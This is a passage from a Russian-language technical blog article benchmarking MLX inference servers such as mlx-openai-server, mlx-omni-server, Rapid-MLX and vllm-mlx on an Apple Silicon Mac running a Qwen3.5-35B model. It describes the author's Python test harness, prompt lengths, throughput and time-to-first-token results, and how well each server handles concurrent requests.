из RAM в VRAM - привычная боль через &lt;code&gt;cudaMemcpy&lt;/code&gt;. На M-series CPU и GPU делят один пул памяти. 35B-модель в 20GB лежит &lt;strong&gt;один раз&lt;/strong&gt; и одинаково доступна обоим - никаких копий.&lt;/ul&gt;&lt;p&gt;Почему GPU вообще быстрее CPU на LLM? Генерация одного токена - это прогон входного вектора через десятки слоёв матричных умножений. У CPU десятки больших ядер с кешем, у GPU - тысячи простых ядер, которые жрут одну и ту же операцию параллельно. Одно скалярное умножение CPU сделает быстрее; батч из миллионов - GPU бьёт CPU в десятки раз. &lt;strong&gt;M2 Max даёт ~400 GB/s memory bandwidth&lt;/strong&gt; - этого хватает на реалтайм-декод 35B модели со скоростью &lt;strong&gt;50-80 токенов в секунду&lt;/strong&gt;. На CPU той же модели вы бы ждали ответа &lt;strong&gt;в 10-20 раз дольше&lt;/strong&gt;.&lt;p&gt;Практический нюанс: Metal не шарит GPU-контекст между процессами. Поэтому все шесть фреймворков в бенчмарке я запускал &lt;strong&gt;строго по одному&lt;/strong&gt; - два одновременно просто не сосуществуют на одной железке.&lt;p&gt;Ниже - что из этого вышло.&lt;hr&gt;&lt;h3&gt;Что сравниваем: восемь фреймворков&lt;/h3&gt;&lt;p&gt;Вот полный список. Шесть попали в бенчмарк, два отключены - причины ниже.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Фреймворк&lt;th&gt;&lt;p align=left&gt;Язык&lt;th&gt;&lt;p align=left&gt;Главная фича&lt;th&gt;&lt;p align=left&gt;В бенчмарке&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;a href=https://github.com/cubist38/mlx-openai-server rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;mlx-openai-server&lt;/strong&gt;&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;Python 3.11&lt;td&gt;&lt;p align=left&gt;Queue-batcher, image gen (Flux), multi-model&lt;td&gt;&lt;p align=left&gt;+&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;a href=https://github.com/madroidmaq/mlx-omni-server rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;mlx-omni-server&lt;/strong&gt;&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;Python 3.11+&lt;td&gt;&lt;p align=left&gt;Dual API - OpenAI + Anthropic на одном сервере&lt;td&gt;&lt;p align=left&gt;+&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;a href=https://github.com/raullenchai/Rapid-MLX rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;Rapid-MLX&lt;/strong&gt;&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;Python 3.10+&lt;td&gt;&lt;p align=left&gt;Простота, 1900+ тестов, интеграции (Cursor, Aider)&lt;td&gt;&lt;p align=left&gt;+&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;a href=https://github.com/waybarrios/vllm-mlx rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;vllm-mlx&lt;/strong&gt;&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;Python 3.10+&lt;td&gt;&lt;p align=left&gt;vLLM-style, paged KV cache, multimodal&lt;td&gt;&lt;p align=left&gt;+&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;a href=https://github.com/jundot/omlx rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;omlx&lt;/strong&gt;&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;Python&lt;td&gt;&lt;p align=left&gt;Tiered KV cache (RAM + SSD), admin dashboard&lt;td&gt;&lt;p align=left&gt;-&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;a href=https://github.com/Blaizzy/mlx-vlm rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;mlx-vlm&lt;/strong&gt;&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;Python 3.10+&lt;td&gt;&lt;p align=left&gt;Fine-tuning VLM, 40+ архитектур&lt;td&gt;&lt;p align=left&gt;+&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;a href=https://github.com/panbanda/higgs rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;higgs&lt;/strong&gt;&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;Rust&lt;td&gt;&lt;p align=left&gt;Single binary, без Python&lt;td&gt;&lt;p align=left&gt;- отключён&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;a href=https://github.com/ddalcu/mlx-serve rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;strong&gt;mlx-serve&lt;/strong&gt;&lt;/a&gt;&lt;td&gt;&lt;p align=left&gt;Zig&lt;td&gt;&lt;p align=left&gt;Native, agent mode, без Python&lt;td&gt;&lt;p align=left&gt;- отключён&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Сначала визуальный ландшафт - чтобы видеть, кто что умеет без вчитывания в README:&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/20/0e/ef/200eef541dfb204594974e18ca68e4ed.png alt=&#34;Ландшафт: 8 фреймворков × 6 фич&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/20/0e/ef/200eef541dfb204594974e18ca68e4ed.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/20/0e/ef/200eef541dfb204594974e18ca68e4ed.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Ландшафт: 8 фреймворков × 6 фич&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Теперь по каждому коротко.&lt;p&gt;&lt;strong&gt;mlx-openai-server&lt;/strong&gt; - drop-in замена OpenAI API. Из интересного: очередь запросов с настоящим continuous batching (&lt;strong&gt;сразу спойлер - единственный, кто реально параллелит&lt;/strong&gt;), speculative decoding для ускорения, multi-model через YAML, structured output через outlines. Минус - жёстко требует Python 3.11 и тащит torchvision + ffmpeg в зависимостях.&lt;p&gt;&lt;strong&gt;mlx-omni-server&lt;/strong&gt; - единственный с двойным API: &lt;code&gt;/v1/*&lt;/code&gt; в стиле OpenAI &lt;strong&gt;и&lt;/strong&gt; &lt;code&gt;/anthropic/v1/*&lt;/code&gt; для Claude-совместимых клиентов. Плюс TTS/STT и эмбеддинги. Нюанс с батчингом - ниже целая история.&lt;p&gt;&lt;strong&gt;Rapid-MLX&lt;/strong&gt; - философия «запусти одной командой»: &lt;code&gt;rapid-mlx serve &amp;lt;model&amp;gt;&lt;/code&gt;. 1900+ тестов в репе, интеграции с Cursor, Claude Code, Aider, Open WebUI, LibreChat. Минус - не стримит чанки токен-за-токеном, отдаёт весь ответ одним куском. Из-за этого &lt;code&gt;gen_tps&lt;/code&gt; харнесс не мерит (показывает 0), а TTFT у него равен полному времени ответа.&lt;p&gt;&lt;strong&gt;vllm-mlx&lt;/strong&gt; - vLLM-style inference, адаптированный под Apple Silicon. Paged KV cache с prefix sharing, мультимодальность (text + image + video + audio), Anthropic Messages API. Большой минус - тащит torch на 2.5GB и содержит феерический баг в SSE streaming, из-за которого показывает фантомные &lt;strong&gt;14000 tokens/sec&lt;/strong&gt;. Про это отдельно.&lt;p&gt;&lt;strong&gt;omlx&lt;/strong&gt; - интересный подход: tiered KV cache, где горячая часть в RAM, холодная - на SSD в safetensors. Multi-model с LRU-выталкиванием, веб-дашборд, tool calling + MCP. Requires macOS 15 (Sequoia). Критичная проблема - hardcoded ctx window &lt;strong&gt;32768 токенов&lt;/strong&gt;. Большие промты получают HTTP 400.&lt;p&gt;&lt;strong&gt;mlx-vlm&lt;/strong&gt; - изначально библиотека для Vision Language Models (включая fine-tuning), а не сервер. Поддерживает 40+ архитектур. Серверный режим есть, но относительно медленный, и на очень длинных промтах (30k+ токенов) уходит в pathological prefill slowdown - я видел 31 минуту на prefill 52k токенов, причём скорость циклически скачет 790 → 3.5 → 790 → 3.5 tok/s, как будто GC срабатывает каждые пару секунд.&lt;p&gt;&lt;strong&gt;higgs (Rust) - отключён.&lt;/strong&gt; Протестровал но не до конца. Единственный Rust-сервер: single binary, zero Python runtime, TUI-дашборд, structured output на json_schema с 100% compliance. В заявленных цифрах - 755 tok/s на 8 concurrent. Причина отключения обидная: в registry есть &lt;code&gt;qwen3&lt;/code&gt;, &lt;code&gt;qwen3_moe&lt;/code&gt; и &lt;code&gt;qwen3_next&lt;/code&gt; - но &lt;strong&gt;нет &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;qwen3_5_moe&lt;/strong&gt;&lt;/code&gt;. Нашу модель просто не загрузит. Когда появится поддержка - вернём в бой.&lt;p&gt;&lt;strong&gt;mlx-serve (Zig) - отключён.&lt;/strong&gt; Нативный Zig, zero Python, MLX Core macOS-приложение с agent mode и восемью встроенными инструментами. Причина отключения - отдельный праздник, в разделе про аномалии подробно.&lt;hr&gt;&lt;h3&gt;Как я мерил: бенчмарк-харнесс на Python&lt;/h3&gt;&lt;p&gt;Модель одна на всех - &lt;a href=https://huggingface.co/mlx-community/Qwen3.5-35B-A3B-4bit rel=&#34;noopener noreferrer nofollow&#34;&gt;mlx-community/Qwen3.5-35B-A3B-4bit&lt;/a&gt;. MoE с 3B активных параметров из 35B, 4-bit квантизация, в RAM занимает ~20GB. Выбор не случайный: помещается в 64GB с запасом под KV cache, нативный MLX-формат, поддерживается всеми шестью фреймворками.&lt;p&gt;Железо - Apple Mac M-series, 64GB unified memory. Все фреймворки делят одну GPU (Metal), запускаются строго по очереди: один за раз.&lt;p&gt;Харнесс называется &lt;code&gt;app_inference&lt;/code&gt;, это ~700 строк Python на httpx, pyyaml, rich, psutil. Архитектура линейная:&lt;pre&gt;&lt;code&gt;YAML config → Runner → Launcher → Healthcheck → Scenarios → Metrics → Summary → Analyze&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Launcher&lt;/strong&gt; запускает subprocess фреймворка, перенаправляет stdout в &lt;code&gt;server.log&lt;/code&gt;, ждёт &lt;code&gt;/v1/models&lt;/code&gt; (healthcheck каждые 2 секунды, таймаут 600с), потом гасит SIGTERM → 15с → SIGKILL.&lt;p&gt;&lt;strong&gt;Client&lt;/strong&gt; делает POST &lt;code&gt;/v1/chat/completions&lt;/code&gt; с &lt;code&gt;stream: true&lt;/code&gt;, парсит SSE и фиксирует три момента: когда отправил запрос (&lt;code&gt;t_start&lt;/code&gt;), когда пришёл первый токен (&lt;code&gt;t_first&lt;/code&gt; - отсюда TTFT), когда закончилась генерация (&lt;code&gt;t_end&lt;/code&gt;).&lt;p&gt;&lt;strong&gt;Scenarios&lt;/strong&gt; прогоняют два режима. &lt;code&gt;run_single&lt;/code&gt; - последовательно, 8 промтов один за другим. &lt;code&gt;run_double_batch&lt;/code&gt; - два промта одновременно через asyncio-лоадер:&lt;pre&gt;&lt;code class=python&gt;gate = asyncio.Event()&#xA;task_a = create_task(chat_stream(..., start_gate=gate))&#xA;task_b = create_task(chat_stream(..., start_gate=gate))&#xA;await asyncio.sleep(0.05)   # оба дошли до барьера&#xA;gate.set()                   # отпускаем одновременно&#xA;res_a, res_b = await gather(task_a, task_b)&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Кроме wall-clock метрик, в CSV летят &lt;code&gt;request_start_offset&lt;/code&gt; (насколько рассинхронизировались старты) и &lt;code&gt;overlap_ratio&lt;/code&gt; (доля времени, когда оба запроса были активны). Речь о настоящем параллелизме, а не о том, что оба запроса прогнались, но не одновременно.&lt;p&gt;&lt;strong&gt;Что считаем и насколько надёжно:&lt;/strong&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Метрика&lt;th&gt;&lt;p align=left&gt;Что измеряет&lt;th&gt;&lt;p align=left&gt;Надёжность&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;wall_tps_p50&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Медиана токенов/с по wall-clock&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Самая надёжная&lt;/strong&gt;, всегда корректна&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;gen_tps_p50&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Decode speed (токены / (t_end − t_first))&lt;td&gt;&lt;p align=left&gt;Мусор если сервер не стримит токен-за-токеном&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;ttft_p50&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Time to first token&lt;td&gt;&lt;p align=left&gt;Корректно только при нормальном стриминге&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;speedup&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;Batching-эффективность&lt;td&gt;&lt;p align=left&gt;Надёжна - считается из wall_tps&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Почему везде медиана, а не среднее? Восемь промтов от 100 до 53000 токенов - это экстремальный разброс. Среднее даст перевес длинным: один 40k-промт с 110 секундами total-time утопит восемь коротких в статистике. Медиана показывает типичный запрос.&lt;p&gt;И ещё - пять итераций, не одна. Iter01 был baseline. Iter02 добавил &lt;code&gt;max_tokens=2048&lt;/code&gt; вместо 1024 и явный &lt;code&gt;model_alias&lt;/code&gt; для mlx-omni (история с подменой модели - ниже). Iter03 и iter04 - повторы iter02 для проверки воспроизводимости. Iter05 - добавлен флаг &lt;code&gt;--workers 2&lt;/code&gt; к mlx-omni для фикса регрессии на батчинге.&lt;p&gt;Запуск - три строки:&lt;pre&gt;&lt;code class=bash&gt;cd app_inference&#xA;uv run -m app_inference run --config config/iteration_05.yaml&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Результаты пишутся в &lt;code&gt;data_test/results/NNN_iterXX_YYYYMMDD_HHMMSS/&lt;/code&gt; - полный CSV, логи серверов, ответы моделей в &lt;code&gt;.md&lt;/code&gt;, копия конфига, снимок окружения.&lt;hr&gt;&lt;h3&gt;Восемь промтов: от AIME до 52k токенов&lt;/h3&gt;&lt;p&gt;Промты специально разные - нужен был диапазон от коротких до болезненно длинных. Вот лестница по токенам:&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/c1/a6/0d/c1a60d48e3eea957ef3adbb5fa3ebeda.png alt=&#34;Лестница нагрузки: от 176 до 52 247 токенов&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/c1/a6/0d/c1a60d48e3eea957ef3adbb5fa3ebeda.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/c1/a6/0d/c1a60d48e3eea957ef3adbb5fa3ebeda.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Лестница нагрузки: от 176 до 52 247 токенов&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Задачи тоже разного типа:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;#&lt;th&gt;&lt;p align=left&gt;Промт&lt;th&gt;&lt;p align=left&gt;Токены&lt;th&gt;&lt;p align=left&gt;Тип&lt;th&gt;&lt;p align=left&gt;Что проверяет&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;1&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;100_aime.md&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;176&lt;td&gt;&lt;p align=left&gt;AIME, 1 задача&lt;td&gt;&lt;p align=left&gt;Точность, Chain-of-Thought&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;2&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;500_gpqa.md&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;562&lt;td&gt;&lt;p align=left&gt;GPQA PhD, 4 MCQ&lt;td&gt;&lt;p align=left&gt;Научное рассуждение&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;3&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;2000_mmlu-pro.md&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;3 449&lt;td&gt;&lt;p align=left&gt;MMLU-Pro, 34 MCQ&lt;td&gt;&lt;p align=left&gt;Широта знаний&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;4&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;5000_swe-bench.md&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;5 434&lt;td&gt;&lt;p align=left&gt;SWE-Bench, 48 issues&lt;td&gt;&lt;p align=left&gt;Code analysis&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;5&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;long_story_15000.md&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;1 065&lt;td&gt;&lt;p align=left&gt;creative&lt;td&gt;&lt;p align=left&gt;Генерация длинного текста&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;6&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;15000_gpqa.md&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;19 315&lt;td&gt;&lt;p align=left&gt;GPQA extended, 189 MCQ&lt;td&gt;&lt;p align=left&gt;Lost in the middle&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;7&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;40000_swe-bench.md&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;43 649&lt;td&gt;&lt;p align=left&gt;SWE-Bench extended&lt;td&gt;&lt;p align=left&gt;Edge-case stress&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;8&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;30000_mmlu-pro.md&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;52 247&lt;td&gt;&lt;p align=left&gt;MMLU-Pro extended, 521 MCQ&lt;td&gt;&lt;p align=left&gt;Long context, предел&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Почти все промты на русском. Намеренно: Qwen 3.5 хорошо говорит по-русски, и это мой реальный use case. Только &lt;code&gt;long_story_15000.md&lt;/code&gt; на английском - фэнтези-новелла про картографа Maren Vale в сеттинге Hollow Tides, 10 глав, 10-14k слов - проверяет длинную связную генерацию, а не retrieval.&lt;p&gt;Для каждого промта я отдельно сгенерировал gold-ответ той же моделью на неограниченном бюджете - чтобы не сравнивать просто «сервер вернул 200 OK», а выборочно сверять осмысленность. Это стало важным позже, при разборе аномалий: длина и наличие ответа - не то же самое, что корректный ответ.&lt;p&gt;Для double_batch подобрал четыре пары: «короткий + длинный». Например, &lt;code&gt;500_gpqa&lt;/code&gt; (562 tok) в пару с &lt;code&gt;15000_gpqa&lt;/code&gt; (19315 tok). Это проверяет, что происходит, когда один клиент тянет ручку с большим prefill, а второй ждёт свой быстрый ответ.&lt;hr&gt;&lt;h3&gt;Single user: кто быстрее на одиночных запросах&lt;/h3&gt;&lt;p&gt;Главная таблица - &lt;code&gt;wall_tps_p50&lt;/code&gt; из лучшей итерации каждого фреймворка. Три лидера в пределах 2% - это шум между прогонами, между ними разница статистически незначима:&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/ab/c0/1d/abc01da03a5b227458741a8a9d9fa7e8.png alt=&#34;Single user: кто быстрее генерирует&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/ab/c0/1d/abc01da03a5b227458741a8a9d9fa7e8.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/ab/c0/1d/abc01da03a5b227458741a8a9d9fa7e8.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Single user: кто быстрее генерирует&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;По лидерам уточнение: &lt;strong&gt;mlx-omni-server (64 tps)&lt;/strong&gt; и &lt;strong&gt;mlx-openai-server (63 tps)&lt;/strong&gt; показывают честный &lt;code&gt;gen_tps&lt;/code&gt; около &lt;strong&gt;75 tokens/sec&lt;/strong&gt; - это реальная decode-скорость на Apple Silicon для 4-битной 35B MoE. &lt;strong&gt;Rapid-MLX&lt;/strong&gt; в этой же группе по wall_tps (62.9), но он не стримит - отдаёт ответ одним куском, поэтому у него TTFT = 36с (это полное время ответа, а не задержка до первого токена). Для терминального чат-клиента это обычно окей, для интерактивного UI - проблема.&lt;p&gt;Ниже - странная динамика: &lt;strong&gt;vllm-mlx (56 tps)&lt;/strong&gt; и &lt;strong&gt;omlx (51 tps)&lt;/strong&gt; проседают, хотя декодят тем же mlx-lm под капотом. Про vllm-mlx вся история в &lt;code&gt;gen_tps = 14909&lt;/code&gt; - это не decode-скорость, это баг (разбираю в следующем разделе). У omlx - два из восьми промтов упали с HTTP 400 из-за жёстко зашитого ctx window 32k. Остальные шесть он отдаёт нормально, но с медленным prefill.&lt;p&gt;&lt;strong&gt;mlx-vlm (36 tps)&lt;/strong&gt; - медленнее всех, но стабилен. Это библиотека VLM с серверным режимом, не production-сервер - используется когда нужен 40+ архитектур VLM или fine-tuning, не для продакшн-хостинга.&lt;h4&gt;Как менялось по итерациям&lt;/h4&gt;&lt;p&gt;Пять прогонов подряд. Три верхних фреймворка стабильны ±2% между итерациями, что само по себе хороший сигнал воспроизводимости. Исключение - &lt;strong&gt;+42% прыжок mlx-omni-server между iter01 и iter02&lt;/strong&gt;:&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/b0/93/ad/b093ad17c772b34fce2fe6ef16699282.png alt=&#34;Стабильность по итерациям&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/b0/93/ad/b093ad17c772b34fce2fe6ef16699282.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/b0/93/ad/b093ad17c772b34fce2fe6ef16699282.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Стабильность по итерациям&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;45 → 63.7 tps.&lt;/strong&gt; Без рефакторинга, без апдейта библиотек, на тех же промтах, на той же машине. Что произошло - во второй части, где про баги.&lt;h4&gt;TTFT - кто откликается первым&lt;/h4&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Фреймворк&lt;th&gt;&lt;p align=left&gt;TTFT p50&lt;th&gt;&lt;p align=left&gt;TTFT p95&lt;th&gt;&lt;p align=left&gt;Комментарий&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;mlx-vlm&lt;td&gt;&lt;p align=left&gt;7.2 с&lt;td&gt;&lt;p align=left&gt;90.5 с&lt;td&gt;&lt;p align=left&gt;Быстрый старт, медленный decode&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;mlx-omni-server&lt;td&gt;&lt;p align=left&gt;7.3 с&lt;td&gt;&lt;p align=left&gt;93.2 с&lt;td&gt;&lt;p align=left&gt;Быстрый старт + быстрый decode&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;mlx-openai-server&lt;td&gt;&lt;p align=left&gt;9.7 с&lt;td&gt;&lt;p align=left&gt;91.2 с&lt;td&gt;&lt;p align=left&gt;Чуть дольше старт, есть prompt cache&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Rapid-MLX&lt;td&gt;&lt;p align=left&gt;36.0 с&lt;td&gt;&lt;p align=left&gt;128.9 с&lt;td&gt;&lt;p align=left&gt;Нет стриминга → TTFT = total time&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;omlx&lt;td&gt;&lt;p align=left&gt;38.7 с&lt;td&gt;&lt;p align=left&gt;44.9 с&lt;td&gt;&lt;p align=left&gt;Длинный первый чанк&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;vllm-mlx&lt;td&gt;&lt;p align=left&gt;43.3 с&lt;td&gt;&lt;p align=left&gt;131.9 с&lt;td&gt;&lt;p align=left&gt;Медленный prefill&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Важный нюанс: у Rapid-MLX и omlx TTFT завышен не потому что они медленные, а потому что они не стримят токены по одному - отдают буфером. Для пользователя это значит: запрос «висит» до конца, потом падает ответ целиком. В чате это ощущается как «подвис».&lt;p&gt;Если latency важна (интерактивный UI, автокомплит), смотреть на mlx-omni-server или mlx-openai-server.&lt;hr&gt;&lt;h3&gt;Batch: а что если пустить два запроса одновременно&lt;/h3&gt;&lt;p&gt;Вот где всё становится интересно. Идеальный batcher должен выдавать &lt;strong&gt;2×&lt;/strong&gt; throughput на двух параллельных запросах. Практика - разная:&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/webt/de/d8/37/ded8379b5cd53001704c1badefcca710.png alt=&#34;Batch: кто реально параллелит 2 запроса&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/webt/de/d8/37/ded8379b5cd53001704c1badefcca710.png 780w,&#xA;       https://habrastorage.org/r/w1560/webt/de/d8/37/ded8379b5cd53001704c1badefcca710.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Batch: кто реально параллелит 2 запроса&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;mlx-openai-server - 2.17×.&lt;/strong&gt; Единственный настоящий batcher в экосистеме MLX. Double wall_tps (71.7) &lt;strong&gt;выше&lt;/strong&gt; single wall_tps (62.6) - то есть два клиента одновременно дают больше общего throughput, чем один клиент подряд. Это ключевой маркер continuous batching: несколько sequences делят один forward pass, GPU используется эффективнее. Механизм - внутренняя очередь запросов + on-line merge в decode loop.&lt;p&gt;Дальше - три фреймворка в зоне 1.6-1.8×, которые я про себя назвал &lt;strong&gt;partial batching&lt;/strong&gt;:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;vllm-mlx (1.79×)&lt;/strong&gt; - скорее всего, срабатывает prefix sharing в paged KV cache (второй запрос видит закэшированный prefill первого) + pipelining (prefill одного параллельно с decode другого)&lt;li&gt;&lt;p&gt;&lt;strong&gt;mlx-vlm (1.72×)&lt;/strong&gt; - pipelined, без общего forward pass&lt;li&gt;&lt;p&gt;&lt;strong&gt;omlx (1.64×)&lt;/strong&gt; - partial batching через continuous batcher, но менее эффективно&lt;/ul&gt;&lt;p&gt;У всех троих double wall_tps ≈ single wall_tps (или даже ниже). Это значит: два запроса обрабатываются одновременно по времени, но общий throughput не растёт - просто меньше пустых слотов у GPU.&lt;p&gt;&lt;strong&gt;Rapid-MLX (1.13×)&lt;/strong&gt; - sequential queue. Два запроса просто становятся в очередь: пока первый генерирует, второй ждёт. Формально speedup чуть выше 1.0 из-за того, что второй стартует раньше, чем первый финиширует (прогрев общий), но это не параллелизм.&lt;p&gt;&lt;strong&gt;mlx-omni-server (1.13×)&lt;/strong&gt; - отдельная история. В iter01-iter04 у него speedup &lt;strong&gt;0.849&lt;/strong&gt; - это регрессия, два параллельных запроса выполняются &lt;strong&gt;медленнее&lt;/strong&gt; одного.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;&lt;th&gt;&lt;p align=left&gt;iter01-04&lt;th&gt;&lt;p align=left&gt;iter05&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;--workers&lt;/code&gt;&lt;td&gt;&lt;p align=left&gt;1 (default)&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;2&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;single wall_tps&lt;td&gt;&lt;p align=left&gt;64.01&lt;td&gt;&lt;p align=left&gt;63.99&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;double wall_tps&lt;td&gt;&lt;p align=left&gt;23.39&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;29.41&lt;/strong&gt;&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;speedup&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;0.849&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;1.132&lt;/strong&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Разгадка простая: FastAPI + uvicorn с &lt;code&gt;--workers 1&lt;/code&gt; сериализует оба запроса в один event loop, GPU переключается между ними без реального параллелизма, но с overhead на переключение. Один флаг &lt;code&gt;--workers 2&lt;/code&gt; - и два воркера делят GPU fair-share. Не batching, а time-sharing, но хотя бы без регрессии.&lt;p&gt;Вывод простой: если нужно обслуживать 